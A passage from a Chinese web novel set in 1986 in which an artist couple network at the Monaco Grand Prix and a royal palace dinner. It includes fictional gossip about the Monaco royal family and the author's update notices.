这种大型社交场合罗南和佐伊都是第一次参加,说不紧张一定是假的。 尤其罗南还是带着目的来的,心里就更忐忑了。 热情的嘉宾们更多的是对外形出众的佐伊感兴趣,围绕她的话题聊个没完,对罗南的兴趣不大。 几乎在罗南说完自己是一名艺家后,话题就戛然而止了,接下来他就变成了一位职业倾听者,再也插不上话。 佐伊把这一切看在眼里,细心的她忍不住往自己的男朋友身上拉: “事实上,罗南是比我更加厉害的艺术家,他的作品在格拉内博物馆永久免费展出,而且被列为了国宝级艺术品。” 相较于时尚和娱乐,艺术是一个相对冷门的频道,尤其在场的许多嘉宾是普罗旺斯以外的地区和国际上的。 他们对什么普罗旺斯国宝级艺术家并不了解,也并不感冒,敷衍的夸赞。 “啊,厉害厉害。” “果然是郎才女貌。” “哈哈有意思,两个艺术家居然走到一起了。” 随即,话题再次来到了佐伊身上。 “你一直是艺术家吗?我的意思是,你有没有兴趣做点别的?我觉得你的外形做艺术家太浪费了。”某位知名摄影师遗憾的说。 “你这身衣服真的是自己搭的吗?太有设计感了,我觉得未来我们会有合作的机会呢。”一位不愿提透露姓名的时尚编辑有感而发。 “佐伊是吧?你让我的脑海中出现一个灵感,一个有关于艺术家的剧本的灵感,我们可以留个联系方式吗,我想过一阵子和你详细聊聊,关于你的生活,关于你的梦想。”一位身形妖娆的作家争取道。 排位赛是‘热身’,‘热身’是为了在接下来的到满意的成绩。 而这个包厢内的许多人,都找到他们感兴趣的东西了——一位潜力巨大的女艺术家! 佐伊的受欢迎程度让罗南非常开心,也非常为她骄傲。 参加这个活动的目的,就是为了结交到对未来有帮助的人啊,显然佐伊这次的目的已经达成,而且达成的非常不错。 但反观他这边就有些进度弛缓了。 “大家都是现实的人,我也一样,没有什么好抱怨的。”罗南暗自安慰自己。 试问,如果是自己,也会盯着一个‘有合作可能’的人发力,那些一看就没什么合作可能性的人就不要浪费时间了。 虽然这样想着,但心中的失落还是有些难以压抑。 见佐伊这边一时半会完不了事,他默默走到栏杆前,把胳膊搭上去,低头看跑道上的情况,同时思考接下来要怎么做。 排位赛之后还有机会,现在可不能放弃啊,不要忘记,你还有那么多东西想要宣传呢! 正在罗南思索如何顺利给大家介绍自己的时候,听到远处传来一声撕心裂肺又带着点邪门的‘呼叫’。 邪门的是罗南觉得喊得是自己的名字,更邪门的是嗓音怎么还有点熟悉呢? 他摘掉墨镜,看向发出声音的地方,发现在对面护栏外,正有两个人手脚并用的死死扒着铁栅栏,在他们身后有四个黑衣人正在上下其手的想要将他们和那栏杆分开。 这情形罗南今天看见了好几次,又有大聪明想要逃票了,只不过听到他们急切又慌张的嘶吼后,罗南做不到淡定的点评了。 “罗南!” “罗南!!” “我认识罗南!!” “不要拉我,我们认识罗南,我们认识罗南啊,他在看台上!!!” 由于监工的原因,特奥的嗓子最近练的贼大。 康奈尔因为体型原因本来就中气十足,又在博物馆做讲解员后天锻炼,声音老洪亮了。 他们两个人齐心协力、众志成城,很快就惊动了部分看台上的人,和两架正在直播的摄像。 每一个包厢里都出现了几个探头的脑袋,三层的原本待机的摄像镜头也都开启了,开始寻找那个叫罗南的家伙。 排位赛缺少刺激的超车和激情碰撞,收视率不如正赛高。 但现在刺激的素材送上门了啊! “&*%(*…=00)”罗南身后近距离出现一连串鸟语花香,歌迪亚用要杀人的语气小声念叨,“我说他们两个为什么要问我们那么详细的行程,什么几点在哪儿,原来是这个目的,这两个该死的家伙!” 事实证明,歌迪亚绝对是专业的,吐槽完她马上回过头来笑着给身后的嘉宾解释: “哈哈哈——是粉丝,是狂热粉丝,没想到追到这了。” 同时,她不停用胳膊肘怼身后一动不动罗南的后腰: “过来和我一起解释!” 这么丢人的事情不能让我一个人承担啊,你快扭头,扭头啊! 罗南轻微晃动了一下身体,表达着他的抗拒。 歌迪亚回头,恰巧看到罗南正摆动着右手,对被拖走的特奥和康奈尔笑容满面的挥手: “别闹,我正微笑呢。” 歌迪亚:“???” 一部分刚刚和罗南佐伊打过招呼的人表情复杂的看向罗南。 这个艺术家的粉丝这么狂热吗? 在场明星的粉丝也没追到这里吧? 需不需要也结交一下?? 犹豫就会败北。 在他们举棋不定之际,还在微笑的罗南被好几个人围住,那些人伸出手热情的介绍自己。 “哈哈,真是热情的粉丝啊,你好,我叫奥拉迪,很高兴认识你。” “帕坎,你好啊罗南。” “伙计,你酒喝完了,再来一杯吗?” 伊内斯担心罗南和佐伊不习惯应付这种高强度的‘社交’场合,贴心的想要过来帮一把。 可当她走近了一听,发现罗南正从容的做着自我介绍,熟练的像是打过八百遍草稿一样。 “艺术家只是我的其中一个身份,其他身份还有餐厅老板、酒庄负责人和手工艺合作社主席,嗯,严格意义上讲,我还是一位正在尝试用现代科技培育野生黑松露的大胆试验人,哈哈,我这人闲不下来,而且行动力还不错,想到什么就一定要干。” 他突然扬起手里的酒杯,晃动着里面粉红色的液体说: “诺,今天供应的粉红酒就来自我的酒庄斯特斯加,大家如果感兴趣可以尝尝,粉红酒是普罗旺斯的特色酒,希望你们能喜欢它。” 伊内斯露出了老母亲般慈祥的笑容。 好好好,罗南果然是协会里最虔诚的孩子。 走到哪儿,见到谁都不忘记我们的粉红酒啊。 她轻柔的抚上罗南的胳膊,和他并排站到一起,像是一块巨大的轰鸣引擎一样,帮助此时的罗南吸引来更多的目光: “看来不用我介绍了,罗南是我在普罗旺斯见过最出色的年轻人,没有之一,他聪明、能干、善良还有才华,做一样成一样,你们瞧瞧,现在的年轻人可太厉害了。” 第463章 好一对演员夫妇! 这个包厢内坐着的嘉宾大多是常年和杂志、媒体打交道的人,自然知道伊内斯在普罗旺斯媒体圈的分量。 米切兰杂志社的半壁江山·南法媒体圈的标杆人物·时尚界毫无疑问的领袖大咖·国内外娱乐明星的知心好友·伟大的伊内斯大人居然抽出了单独的时间来维护和这位叫罗南的艺术家之间的关系、还毫不吝啬的送上了真挚的夸奖这人来头很大啊! 而且他还有一位同样受欢迎的女朋友! “轰轰轰——” 与跑道上F1一同飞出去的,还有看台上不少嘉宾的思绪。 在这两天的活动中,一定要想尽办法和那两位艺术家结交啊! 排位赛开始后,现场的社交盛宴便画下了一个休止符。 活跃的嘉宾们回到了自己的位置上,看着跑道或者大屏幕上的图像。 这个时候另外一场较量便开始悄悄上演。 看台上有这么多嘉宾,如何在众多的嘉宾中脱颖而出,让摄像头扫过自己,并让现场的解说席介绍一下自己的来头呢? 有的人选择了‘发狂’,就比如罗南身后的老哥,不管跑道上是哪个车队的赛车,只要冲线了,他便会站起来振臂高呼,意图用物理手段把镜头喊到自己的脸上。 有的人选择走‘捷径’,厚着脸皮、想尽办法、抓住一切机会坐到在场最著名的嘉宾前后左右的位置上,以求在抓取名人明星的时候,能够把自己也带上。 还有些人拥有先天优势,是和男女朋友或者夫妻组队来的,为了与众不同,他们会甜腻的抱在一起,嘴巴也像是装上了吸铁石,每时每刻不碰到一起就浑身难受,似乎下面上演的不是‘速度与激情’,而是在看什么让他们无法控制自己身体的爱情电影一样。 当然了,绝大部分人还是比较正常的。 罗南和佐伊安安静静的看着,没有交谈也没做什么吸引人眼球的举动。 但问题是他们两个都不喜欢看F1啊。 甚至连哪个车手是哪个车队的都分不清楚,只能硬着头皮看,像是应付任务一样。 佐伊看了一会便打起了哈欠,但她牢牢记得歌迪亚的话,愣是忍了下来,让那个哈欠在体内化解掉了。 见罗南还是一副半永久微笑着的表情,从容的看着比赛,她有些无聊的问: “好看吗?” 罗南把手搭到了佐伊的大腿上: “好看。” 佐伊微微叹气,问罗南: “现在最快的是哪位车手?很有名吗?” 罗南微微扭头,笑着对佐伊说: “我是说你好看。” “油嘴滑舌。”佐伊憋着笑拍了一下罗南的手背,“问你赛车呢,你说我干什么?” 微弱的声音从罗南微笑着的嘴里挤出来: “你比比赛好看多了,没听到那些人是如何夸你的吗?” 佐伊憋着笑,目视前方: “怎么,你也要学那些情侣吗?弄出点动静以求吸引镜头?” 坦白讲,佐伊和罗南不是小孩子了。 他们都是被现实狠狠抽打过的成年人,吃过含着玻璃碴子的酸甜苦辣。 有的时候.在特定的场合下,就是要逼自己一下。 那么多情侣都演员上身了,我们要不要也表演一下? 罗南笑着哼哼了两下: “不用那么费劲,刚才我都观察好了,我们这个包厢的下面是摩纳哥王室的中心区域,只要给楼下远镜头,我们很有能被带上,没看我一直在微笑吗?” “真的假的?什么时候观察的?”佐伊不动声色的问,语气里还是展露出了一丝惊讶。 “就上楼的时候啊,我特意瞟了好几眼呢。”罗南也不动声色的回。 “你确定我们不用做点别的吗?”佐伊不确定的问,“我看电视里,那些明星为了抢镜头什么事情都做得出来。” “咱俩不是那么虚伪的人。”罗南有些遗憾的说,“尤其是感情方面。” 佐伊微微叹气: “是啊,我们不是那种人。” 罗南和佐伊都不是那种可以用感情做‘筹码’的人,他们视对方为最重要的人,并且用尽一切保持那份美好。 所以怎么可能以情侣的身份去谋取什么东西呢? 做不到,做不到啊! 下一秒,现场爆发出山呼海啸般的掌声,像是疯了一样。 “迈凯轮车队的阿兰·普罗斯特超过了法拉利车队的米歇尔·阿尔博雷托,排到第一了!”现场大声播报着。 罗南和佐伊同时站起来跟着鼓掌,笑容毫不吝啬的的绽放。 “恭喜阿兰·普罗斯特!我就知道他一定可以的!”罗南与四周的人交换眼神,随着他们一起附和。 “我这次就是来看阿兰·普罗斯特的,嗯?你也是吗?”佐伊俏皮的和另一侧的女嘉宾讨论起来。 两个人错愕的互看了一眼,很快忍俊不禁的抱到一起,亲了好几下。 感情不能做‘筹码’,但不妨碍他们做‘演员’啊。 这该死的默契! “罗南,佐伊!快过来,和排位赛的冠军威廉姆斯车队的奈杰尔·曼塞尔拍合照!” 排位赛结束,伊内斯把佐伊和罗南带到了内场,并安排他们和今日前三的车手合照。 最晚一周,这张照片就要出现在米切兰杂志社好几本赛车杂志的内页里了。 “恭喜恭喜,我就知道你可以的!”罗南站到奈杰尔·曼塞尔的左侧,拍了拍他的肩膀。 佐伊则站到了冠军的左侧,笑着说: “我是专程来看你的,明天我会继续给你加油。” 冠军车手开心的搂住这两位容貌上好、性格讨喜的艺术家粉丝,露出了发自肺腑的微笑: “谢谢。” 排位赛结束,歌迪亚把罗南的车子开走。 佐伊和罗南则要跟随伊内斯去参加摩纳哥王室举办的晚宴。 这种活动可不是谁都可以参加的。 经纪人不可以,一般的嘉宾也不可以,只有最最最重要的‘心腹’才能跟在主编大人的身旁。 与歌迪亚分别前,罗南特意在歌迪亚的耳边耳语道: “晚上的晚宴不是下午的排位赛,保安请走就简单了事了,你回去看着点巴蒂和卡福,千万别让他们做出什么出格的举动,我可不想在晚宴上被通知去警局捞人。” 特奥和康奈尔是来看F1的,所以他们出现在了下午的排位赛赛场。 以此类推来看明星和王室的巴蒂和卡福,不会也在某个令人意想不到的时刻,以一种邪门的方式出现,大喊‘罗南罗南’吧? 罗南只是稍微想了那么一下,后脖颈的汗就流下来了。 歌迪亚拍了拍自己什么都没有的胸脯,一副老娘做事你放心的靠谱表情: “放心,我回去就把你卧室门焊死了,今天谁也跑不出去。” 罗南脑子嗡的一下: “那倒是也不用,还是让他们走吧,把那么多人关在一个小房间里不太人道,尤其回尼斯的路途遥远,就是别让他们乱跑就行了。” 歌迪亚用眉毛提示罗南,伊内斯在等他,让他赶紧过去,别让主编大人等急了: “你就别管了,快去吧,今晚回去等你们的好消息。” 此刻没有了镜头,但罗南还是龇起了牙,对歌迪亚摆手道: “放心,我和佐伊现在强的可怕。” 与歌迪亚分别,罗南和佐伊坐上了伊内斯的车子。 一上车,伊内斯便开心地对小情侣说: “原来你们真的爱看F1啊,我还怕你们下午在这里坐几个小时无聊呢。” 罗南和佐伊互看了一眼,嘴角同时控制不住了。 “我从小就爱看F1,来现场看比赛一直是我的梦想,但以前总是弄不到票,处处碰壁。”罗南感激的对伊内斯说,“感谢您替我圆梦,今晚做梦我可能都会笑醒了。” 佐伊也夫唱妇随的说: “我小时候不怎么关注这项运动,但您应该知道普罗旺斯的男人们对F1赛车有多痴狂,我爸爸和弟弟都很喜欢赛车,尤其是我的弟弟,他对此简直可以用痴狂来形容,我被他们带的也爱上这项运动,今天我能亲自来现场体验这项迷人的项目是我的荣幸。” 伊内斯特别无所谓的摆手: “票有的是,明年我还给你们留票,米切兰杂志社和摩纳哥蒙特卡洛站是几十年的合作伙伴,这还不简单吗。” “那太感谢您了!”罗南和佐伊异口同声的说。 小情侣需要曝光,小情侣也需要人脉。 还没有回酒店,不清楚转播的时候有没有自己的镜头,但即使镜头没有捕捉到他们,只是拍的那些合照,就足够他们提升影响力了。 另一个方面,只是在下午的社交‘热身’上,罗南就和七八位在普罗旺斯或者其他地区的重要嘉宾介绍了自己的酒庄、自己的合作社,还有几个人被他安利了美丽的卢尔马兰,交换了联系方式的‘朋友’更是有十几位之多。 如果年年都能来.年年都有收获,那可太棒了! 见摩纳哥之行的其中一个目标进行的相对顺利,罗南赶紧提起了这次的另一个目的。 “会长,有件事情想要麻烦您。” 伊内斯的脸上挂上若有似无的笑: “别说麻烦,那是我应该做的。” 罗南一阵错愕,表情复杂的问: “我还没说是什么事情呢。” 伊内斯的眼中闪烁出精明的亮光: “都叫‘会长’了,还能是什么事情?说吧,是斯特斯加遇到什么麻烦了吗?” 罗南在惊讶之余,连连摆手: “不是不是,目前发展的一切顺利,只是我在推广粉红酒的时候想到了一个思路,但在执行的时候遇到了一点阻力,想问问您有没有解决办法。” 伊内斯表情严肃下来。 斯特斯加是沃克吕兹省粉红酒协会的重中之重,从一定意义上讲,帮助斯特斯加壮大起来,就是在改变粉红酒在普罗旺斯的现状,这是她当然不让的责任和义务了。 “你说。” “不知道您还记不记得,我第一次去参加协会的聚会时,大家对我的印象是一个卖粉红酒的集市摊主?”罗南循循善诱的问。 伊内斯点头: “记得,你的照片出现在《泛旅》那种五流杂志上,内容讲述的是在集市上卖粉红酒时的疯狂表现。” 罗南不好意思的摸了摸头: “虽然疯狂,但效果挺不错的。” 伊内斯继续点头,她的记忆力非常好,还记得罗南第一次出现在聚会上时,每一位成员对他的评价和看他的眼神: “在你加入协会之前,我们中就有一部分人知道你了——卢尔马兰出了一个痴迷粉红酒到发狂的‘疯子’。” 罗南没有反驳伊内斯的评价,因为这确实是他给许多人的印象: “我想在更多的集市上做出那种‘疯狂’举动,也许在卢尔马兰发生的事情可以复刻呢?在其他城市和村庄也出现了一个个喜欢粉红酒到发狂的疯子,再通过这个疯子影响到更多的人?” 伊内斯一下子便听懂了: “你想要去更多的集市摆摊?” 罗南坚定的点头,无比认真: “是的,我希望把斯特斯加送到普罗旺斯的每一寸土地上,不仅仅是海边和零星几个地方,但一个一个村庄和城镇去申请太浪费时间了,您知道有什么便捷的方式可以达成吗?” 伊内斯陷入的沉思之中。 这的确是个好办法,但是不太对口啊。 在伊内斯思量之际,罗南赶紧补充了一句: “其实是因为切尔诺一直在帮助我、帮助斯特斯加,我才来问您的,他有许多可以帮助粉红酒普及的办法。” 伊内斯停下思绪,以外的问: “切尔诺?《海岸》的编辑切尔诺?我曾经给你找的那个导游?” 罗南连连点头,不停的给切尔诺脸上贴金: “是他,就是他,斯特斯加的核心售卖区域在沿海,我也只是抱着试一试的心态去联系他,没想到他非常尽心尽力的给我介绍渠道商人,还帮我想办法,最近斯特斯加在马赛和尼斯的市占率都提高了许多,杰罗姆那些存货都不够卖了,他太热心了,而且也有本事,那些合作商看在切尔诺的面子上,对我们的态度都非常好。” 伊内斯一连说了三声‘好’。 虽然后面没说其他,但罗南清楚,切尔诺这个名字一定在伊内斯的心里种下了一颗非常不错的种子很快就要开花了。 伊内斯继续思考了一阵子,给了罗南回复: “你这个需求其实并不复杂,很容易达成,但能做到的不是我,而是另有其人,那个人你也认识,略伦特你还记得吗?” 罗南怎么可能会不记得略伦特呢,那可是老熟人了。 但想让那个老狐狸做什么事情,需要拿出等价的筹码去跟他‘换’,罗南手里没有其他东西了。 之前可能有一个‘甜品大赛’的筹码,但已经压出去了。 罗南苦涩的砸了下嘴,又摇了摇头: “我知道略伦特,但我有点‘求’不动他,您应该知道他是什么性格的吧” 伊内斯冷哼一声,似乎很不屑于那个家伙的做派: “要不是在这种时候,他多少能起到一点作用,我一点都不想记得有这么一号人存在,米切兰杂志社之后和他有一点工作交集,我会稍微退一步,代价是让他帮你把这件事搞定了。” “啊?这合适吗?”罗南不好意思的问。 伊内斯抿着嘴看罗南,像是老母亲教育儿子一样: “合适不适合,要看目的是什么,只要收获大于付出,那就是合适的,灵活一点啊孩子。” “我们之前就是太不灵活了。” 下了车子,伊内斯遇到了熟人。 她去社交的时候,罗南和佐伊聊起了他的感想。 “怎么说?”佐伊认真的帮助罗南整理发型和衣服。 明明这么帅,怎么就司机了? “我们如果灵活一点,说不定在下午的排位赛时会收获更多。”罗南不停咂嘴,“这不就是我们的目的吗?” 佐伊好看的眉毛微微扬起,毫不掩饰自己的野心: “不要遗憾,待会的晚宴,我有信心会收获更多,一会你机灵点就行,我做什么,你就做什么。” 罗南挑眉: “真的假的?实不相瞒,我为今天的王室晚宴准备了好几天,这也是我的发力点呢。” 本想悄悄带你飞,现在你告诉我,你要带我飞了? 佐伊的大眼睛眨巴了好几下,似乎在确定罗南是不是在和她开玩笑。 见伊内斯走了回来,罗南拉起佐伊的手: “走吧,今晚一定会事半功倍的!” 第464章 狗血的摩纳哥王室 晚宴在摩纳哥王宫中央的金色大厅中举行。 摩纳哥王宫,俗称亲王宫,自1297年起为摩纳哥亲王的官邸。 它位于摩纳哥岩山顶,是摩纳哥公国最古老的地区,可以直接俯瞰地中海。 这座宫殿被王室家族居住了七个多世纪。 从一定层面上讲,摩纳哥王室是欧洲众多王室中‘最接地气’的一支。 他们世代居住的王宫在夏季会有一部分作为博物馆对外开放,而皇宫的主庭院,还一直是蒙特卡洛爱乐乐团举办露天音乐会的场地。 今天来赴宴的路上,一行人在附近见到了许多游客。 那感觉完全不像是要去参与成员晚宴,此情此景,跟去某个景点打卡‘网红’餐厅似的。 “今晚王室宴请的是媒体合作伙伴,明天会宴请F1的车手和老板,听说昨天他们还宴请了几位来自巴黎的伦敦的教授。”因伊内斯一下车便遇到了一位老熟人,且那人并不在今天的晚宴名单中,来这里另有目的,所以主编大人有感而发,在赴宴的路上和小情侣说起了关于摩纳哥王室的‘故事’,“我相信中央金色大厅这一个月都会很忙碌。” 罗南不禁挑起了眉毛,幽默的说: “看来摩纳哥也被普罗旺斯影响了,真是一群热情好客的家伙啊。” 这聚会频率比罗南还高。 罗南最高峰时,每周还会休息两天呢。 天天邀请人来家里? 不累吗. 伊内斯露出心照不宣的笑容: “这是一个‘闲’不下来的王室。” 罗南和佐伊互看了一眼,虽然他们都在摩纳哥王室身上下了不少功夫,做了一些功课。 但他们知道的东西怎么可能比伊内斯多呢? 趁着还没有正式开始,还要继续学习! “什么意思?”罗南憨憨的问。 伊内斯放慢了脚步,语气轻快的扬了下脖子: “摩纳哥王室几乎贡献了普罗旺斯八卦杂志一半的业绩,每当那些烂俗的报纸和杂志不知道写什么了,就会把笔头对准他们,而且神奇的是每次都能找到东西。” 见伊内斯一副‘骄傲’的样子,罗南笑着说: “但那些报纸和杂志只能挖到表面的东西,您一定知道更多的东西吧?” “我可没有这么无聊,天天盯着他们不放,那不符合米切兰杂志社的调性。”话锋一转,伊内斯继续说道,“不过,今天有一位本地富商与卡罗琳公主搭讪,被公主一眼瞪了回去。” 罗南一阵后怕。 好险! 如果不是他早早的断了歌迪亚的念头,说不定歌迪亚也要被编成故事讲给其他人听了。 女人对待八卦总是有控制不住的热情,佐伊也加入了进来: “公主和第二任丈夫结婚不久,而且关系非常亲密,那位富商也太不知轻重了。” 卡罗琳公主是王室的长女,由于母亲已经去世,她是王室‘实际上的女主人’,因此格外被八卦杂志所‘照顾’,尤其是她几年前结束的第一段婚姻。 民众甚至比公主本人更加了解她的第一任丈夫。 八卦杂志不仅八出了他曾经和伊朗现王妃有过情史,还八出了在他们的婚礼前三天,这位来自巴黎的花花公子都没有还清债务,需要他的‘岳父’、卡罗琳公主的父亲兰尼埃三世来擦屁股。 当然了,在这段婚姻中,兰尼埃三世亲王也是‘伤痕累累’,因为媒体大肆报道公主离婚的消息,他不得不出来发声承认。 这是摩纳哥王室首次公开承认王室成员离婚,此前离婚一直被视为禁忌。 由于上一段非常失败、又频繁暴露在大众下的婚姻,卡罗琳公主格外的保护这任丈夫。 “如果阿尔贝王子能学学他的姐姐就好了。”伊内斯阴沉着脸说,“今天早上,他又是在夜店被保镖抬回去的。” 罗南和佐伊同时倒吸一口凉气。 阿尔贝王子是摩纳哥唯一的王储,但这位王子不爱国事,只爱夜店和美女。 这种八卦杂志写出来可以让摩纳哥和法国两国人民开心大半天的消息.就这么随便的说出来了? 伊内斯不怕面前两人把这么劲爆的消息传出去吗? 没想到伊内斯又平静的说出了另一个更加劲爆的消息: “不知道是不是酒没有醒,下午阿尔贝王子居然独自进入了威廉姆斯车队的维修区,被工程师当‘可疑人员’控制住了。” 她突然捂着嘴笑了两声: “真想让你们看看兰尼埃三世亲王听到这个消息的样子。” 摩纳哥宪法规定,女性无权继承王位。 虽然卡洛琳公主承担起了母亲之前的身份,并成为了摩纳哥的外交大使,但还是争不过他那个弟弟。 这位花花公子会是摩纳哥的下一任亲王! 连听了两个炸裂的大瓜,罗南有点吃撑了。 他摸着前胸,代入了老父亲的身份。 女儿优秀,但是婚姻波折,形象受损。 儿子废物,但还必须接管王室,形象更更受损。 真是太操心了。 “还好,小公主斯蒂芬妮公主比较让人省心。”罗南叹出一口气,“八卦杂志没有报道过什么她的消息。” 罗南对这位小公主的印象不错。 因为她参与过‘相思鸟’的竞价过程,对方的代理人在那天表现出来的大度和专业,让罗南自然而然的觉得,这位小公主也是一位相当不错的人。 “快别提斯蒂芬妮公主了。”伊内斯不停的摇头,眼睛翻个不停,“她正打算和她的保镖私奔呢。” “啊???”罗南和佐伊同时惊呼出口。 公主? 保镖?? 这是在上演什么狗血电视剧吗? 在惊讶于这个爆炸消息的同时,罗南还有另一层震惊。 伊内斯怎么会知道这么多王室的事情? 她的‘眼观六路’技能能覆盖这么大的区域? 虽然摩纳哥王宫经常有人出入,但是进入核心的金色大厅还是要经过层层安保。 当几个人历经完一次小小但礼貌的‘搜身’后,一位戴眼镜的女士将他们几人引向中央金色大厅。 路上,那名女士自然要给大家简单讲讲周围的建筑和历史。 “这间小隔间是王室忏悔室,兰尼埃三世经常会来这里。” “这间房子是阿尔贝王子放F1模型的屋子。” “斯蒂芬妮公主曾一度迷上过流行歌曲,这是她的私人录音棚,对了,你们知道公主曾出过音乐专辑吗?” 这种场合,回答问题的自然是伊内斯,她礼貌的回应: “知道,专辑名称叫《Ouragan》,米切兰杂志社的音乐部门将其珍藏了。” “有品味。”那人微笑着对伊内斯说。 待那女人转过身去,罗南小声问佐伊: “你听过吗?” 实话讲,巴黎人不太关注摩纳哥王室的消息。 他们只是普罗旺斯人的乐子。 罗南对摩纳哥王室的了解,大部分是这段日子恶补来的。 小公主居然出过专辑? 想必一定是极其受欢迎的吧? 佐伊做思索状: “没有,我甚至第一次听到这个消息。” 伊内斯穿过两人中间,用只有他们两个人能听到的声音说: “那张唱片一共只卖出去了200张,刚发行就全部下架了,如果它继续流传.简直是王室丑闻。” 罗南和佐伊互看了一眼。 这个王室真是乐子大了! 那女人和大家聊了一路,每一个话题伊内斯都能熟练的接住,并完美处理。 不过在介绍某间屋子时,那名解引者明显露出了‘愤恨’的表情。 “这里是阿尔贝王子的游戏室。” 正常情况下,伊内斯应该顺着对方说点什么,因为很明显这里有‘故事’发生。 不过伊内斯想了几秒,完全不知道带路的这人情绪波折的原因。 阿尔贝王子的游戏室怎么了? 在她卡壳之际,另一道人声恰如其分的出现,结束了那一刹的冷场。 罗南用和接引人一样‘愤恨’的语气说: “该死的苏联文化部长!” 伊内斯和佐伊皆是一愣。 什么东西? 苏联?? 只有接引人回头,用一种‘同仇敌忾’的语气对罗南说: “太可恶了,居然那样说我们。” “就是的,怎么能那样说你们呢!”罗南看起来比那人还生气,嘴都抿起来了。 “哼!” “哼哼!” 两个人说了一阵子让人摸不着头脑的暗语,搞得伊内斯的佐伊一头雾水。 趁对方不注意,伊内斯问罗南: “那间房子怎么了?” 罗南压低声音给两位女士解释: “今年苏联文化部长到访,因王宫客房不足,被安排在阿尔贝王子的游戏室改的临时卧室里,因为墙上贴了很多海报还有许多模型,他们开玩笑的说,自己住进了‘儿童房’里。” “还有这事?”伊内斯瞪大了眼睛。 罗南敷衍道: “您应该知道,男人们喝酒时就喜欢天南海北的聊,没想到我听到了对的版本。” 罗南当然不会承认,类似的‘八卦’他主动打听了几十个,只为了给今天做准备。 伊内斯狐疑的点了点头,跟上了前面的接引人。 叫金色大厅,那就一定有和‘金’相关的元素。 屋顶遍布文艺复兴风格的图案,四周用金色丝线勾勒点缀。 在墙面红色壁纸上,也摆着一幅幅金色边框、价值不菲的画作。 最夸张的是,在大厅的一角,有一架暗金色的钢琴。 据说,王子非常喜欢这架钢琴的音色,每次由他主持宴请时,酒喝到位了,他就会自己或者邀请朋友上去弹奏一曲。 不过可惜的,今天主持晚宴的并不是他,而是小公主斯蒂芬妮。 王室晚宴,不是所有王室都会参与。 能来一个就很给面子了。 而且即使你能和王室同处一室,也很难有什么接触上的机会,就比如今天,小公主始终在保镖的保护范围内,从不走近嘉宾。 伊内斯安排这样一个活动,不过是为了给罗南和佐伊镀镀金而已,也没想过让他们真的和王室有什么交集。 今晚小情侣的别名叫‘小透明’。 真正的主角是那几位国际巨星。 兰尼埃三世亲王的妻子,也就是卡罗琳公主、阿尔贝王子和斯蒂芬妮公主的母亲格蕾丝王妃,是美国著名的影星,主演过许多那个年代的知名电影,并在五十年代获得过奥斯卡最佳女主角奖。 可以说,格蕾丝王妃与王室的结合,让摩纳哥王室最大幅度的进入了世界关注的视角当中去,但遗憾的是,这位被称为最美王妃的人于1982年车祸去世。 不过由于格蕾丝王妃的身份,摩纳哥王室与国际巨星的关系一直很亲密,就比如明天摩纳哥大奖赛的正赛,阿兰·德龙和克劳迪娅·卡汀娜等明星都将亲临现场,并且一下飞机就来参加了今天的晚宴。 有那么多耀眼的星星在场,罗南和佐伊当然是小透明了,透明到不能再透明的那种。 把罗南和佐伊带来,就是伊内斯今天的胜利,她安慰两人道: “放松一些,这么多人,没人会注意你们,待会有拍照环节,我已经提前打好了招呼,会给你们多拍几张的,尤其是和明星们的合影。” 说完,她起身离开了两个小透明,也去找耀眼的国际影星去了。 没人会注意你们.这可不是小情侣今天来的目的。 没有任何铺垫,佐伊目视着前方问: “你先我先?” 罗南连头都没抬的说: “你先吧,我那个需要一点契机,没办法随时随地的开始。” 佐伊拿起自己的包包,起身去往卫生间: “好,那我先去了。” 斯蒂芬妮公主今天心情不太好。 因为在今天的排位赛看台上,被父亲以‘穿着暴露’、‘不合时宜’为由狠狠骂了一顿。 “妈妈去世后,爸爸只穿黑色和白色的衣服.但我也要这样一辈子吗?”小公主头疼不已的念叨。 “更可气的是,他居然说我是对逝去母亲的不尊重!上帝,我怎么会不尊重母亲呢?”她问身边的保镖,“阿尔希勒,你说我应该如何证明我很在意逝去的母亲?” 名叫阿尔希勒的保镖想了想,提出了建议: “也许可以做一些纪念王妃的事情?” “比如呢?”小公主问。 “比如——” 保镖刚一开口,小公主便条件反射般的坐直了一些。 她看到一个上下皆是白色的女嘉宾在她面前路过。 由于亲王平时不是一身黑就是一身白,小公主看到这种装束都PTSD了。 不过见到那人是一个漂亮女性,她才渐渐放松了身体,只是不由得多看了两眼,抱怨道: “怎么那么多喜欢穿一身白色的人!” 突然,她发现了更加奇怪的东西。 在那女孩的胸口上,居然还挂着一朵白色的花朵。 那一般是为了祭奠某人才会出现的搭配。 不过除此之外,那女孩的其他搭配又处处彰显时尚和前卫。 小公主对身边的保镖说: “你去问问,她胸前为什么要带着白色的花朵。” 大概半分钟后,保镖表情复杂的回来复命: “那人说,这个月是王妃逝世五周年的忌日,因此她戴上了王妃生前最喜欢的白玫瑰。” 小公主一阵错愕,楞了足足有两秒才开口: “你去把她叫来。” 待人走进了些,公主的眉头忽地皱紧,并猛吸了几口鼻子。 “是母亲最喜欢的香水.” 正在向斯蒂芬妮公主走近的佐伊露出了灿烂笑容。 管用! 这段日子没有白努力! 罗南,你还能比我更努力吗? (这段话是发布之后加上的,系统只会根据发布时的字数「4483」来计算费用,所以这段话不会增加订阅成本,请放心,前文有一处改动,拍卖相思鸟的时候,我写的是摩纳哥王妃的委托人,那是一处巨大的错误,格蕾丝·凯利王妃在82年去世了,前文已经修改为斯蒂芬妮公主的委托人,抱歉哈) 请假条 这几天有点奔波,觉睡的也少,请假一天补补觉。 明天应该不用出去,会把今天的补回来。 抱歉了哈~ 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第465章 佐伊的先招 待佐伊走到面前,斯蒂芬妮公主先对她进行了一番仔仔细细的打量。 某奢侈品牌最新款的套裙,配饰是另一个牌子今年的主打款,鞋子和手提包也都可以说出名堂。 斯蒂芬妮公主第一次见到眼前这人,但只看妆容、服饰和穿搭,便可以猜出职业——一定是和媒体或者杂志打交道的。 再介于那张让人控制不住想要多看两眼的上好脸庞,公主判断,这位一袭白裙的女士,说不定是某位演艺圈新人,潜力巨大的那种。 而这个猜测也很符合今晚的宴请名单。 “你叫什么名字?”斯蒂芬妮公主看着佐伊问。 佐伊淑女的说: “佐伊。” “佐伊.”斯蒂芬妮公主回忆了一下,确定没办法和任何一个本土明星对上号,不过神奇的是,她又觉得这个名字最近似乎听人提起过。 摩纳哥王室以闲不下来著称,接触过的社会名流数不胜数,对不上名字的情况太常见了,公主并没有纠结这个问题,而是继续问道: 